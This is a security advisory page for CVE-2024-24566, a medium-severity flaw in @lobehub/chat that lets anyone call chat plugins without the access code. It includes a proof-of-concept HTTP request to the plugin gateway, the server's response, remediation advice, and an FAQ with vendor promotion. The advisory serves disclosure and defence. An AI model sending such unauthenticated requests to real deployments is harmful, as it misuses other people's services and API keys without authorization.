Summary
@lobehub/chat vulnerable to unauthorized access to plugins
Description:
When the application is password-protected (deployed with the ACCESS_CODE option), it is possible to access plugins without proper authorization (without password).
Proof-of-Concept:
Let’s suppose that application has been deployed with following command:sudo docker run -d -p 3210:3210 -e OPENAI_API_KEY=sk-[REDACTED] -e ACCESS_CODE=TEST123 --name lobe-chat lobehub/lobe-chat
Due to the utilization of the ACCESS_CODE, access to the chat is possible only after entering the password:
However, it is possible to interact with chat plugins without entering the ACCESS_CODE.
Example HTTP request:
POST /api/plugin/gateway HTTP/1.1
Host: localhost:3210
Content-Length: 1276
{"apiName":"checkWeatherUsingGET","arguments":"{\n \"location\": \"London\"\n}","identifier":"WeatherGPT","type":"default","manifest":{"api":[{"description":"Get current weather information","name":"checkWeatherUsingGET","parameters":{"properties":{"location":{"type":"string"}},"required":["location"],"type":"object"}}],"homepage":"https://weathergpt.vercel.app/legal","identifier":"WeatherGPT","meta":{"avatar":"https://openai-collections.chat-plugin.lobehub.com/weather-gpt/logo.webp","description":"Get current weather information for a specific location.","title":"WeatherGPT"},"openapi":"https://openai-collections.chat-plugin.lobehub.com/weather-gpt/openapi.json","systemRole":"Use the WeatherGPT plugin to automatically fetch current weather information for a specific location when it's being generated by the ChatGPT assistant. The plugin will return weather data, including temperature, wind speed, humidity, and other relevant information, as well as a link to a page that has all the information. Links will always be returned and should be shown to the user. The weather data can be used to provide users with up-to-date and accurate weather information for their desired location.","type":"default","version":"1","settings":{"properties":{},"type":"object"}}}
HTTP response:
HTTP/1.1 200 OK
[...]
{"location":{"name":"London","region":"City of London, Greater London","country":"United Kingdom","lat":51.52,"lon":-0.11,"tz_id":"Europe/London","localtime_epoch":1706379026,"localtime":"2024-01-27 18:10"},"current":{"last_updated_epoch":1706378400,"last_updated":"2024-01-27 18:00","temp_c":6,"temp_f":42.8,"is_day":0,"condition":{"text":"Clear","icon":"//cdn.weatherapi.com/weather/64x64/night/113.png","code":1000},"wind_mph":4.3,"wind_kph":6.8,"wind_degree":170,"wind_dir":"S","pressure_mb":1031,"pressure_in":30.45,"precip_mm":0,"precip_in":0,"humidity":81,"cloud":0,"feelslike_c":3.8,"feelslike_f":38.9,"vis_km":10,"vis_miles":6,"uv":1,"gust_mph":9.5,"gust_kph":15.3},"infoLink":"https://weathergpt.vercel.app/London"}
Remediation:
Verify the ACCESS_CODE for HTTP requests to the /api/plugin/: route.
Impact:
Unauthorized access to plugins.
Impact
CVE-2024-24566 has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.122.4); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
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Frequently Asked Questions
- What is CVE-2024-24566? CVE-2024-24566 is a medium-severity security vulnerability in @lobehub/chat (npm), affecting versions <= 0.122.3. It is fixed in 0.122.4.
- How severe is CVE-2024-24566? CVE-2024-24566 has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of @lobehub/chat are affected by CVE-2024-24566? @lobehub/chat (npm) versions <= 0.122.3 is affected.
- Is there a fix for CVE-2024-24566? Yes. CVE-2024-24566 is fixed in 0.122.4. Upgrade to this version or later.
- Is CVE-2024-24566 exploitable, and should I be worried? Whether CVE-2024-24566 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2024-24566 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2024-24566? Upgrade
@lobehub/chatto 0.122.4 or later.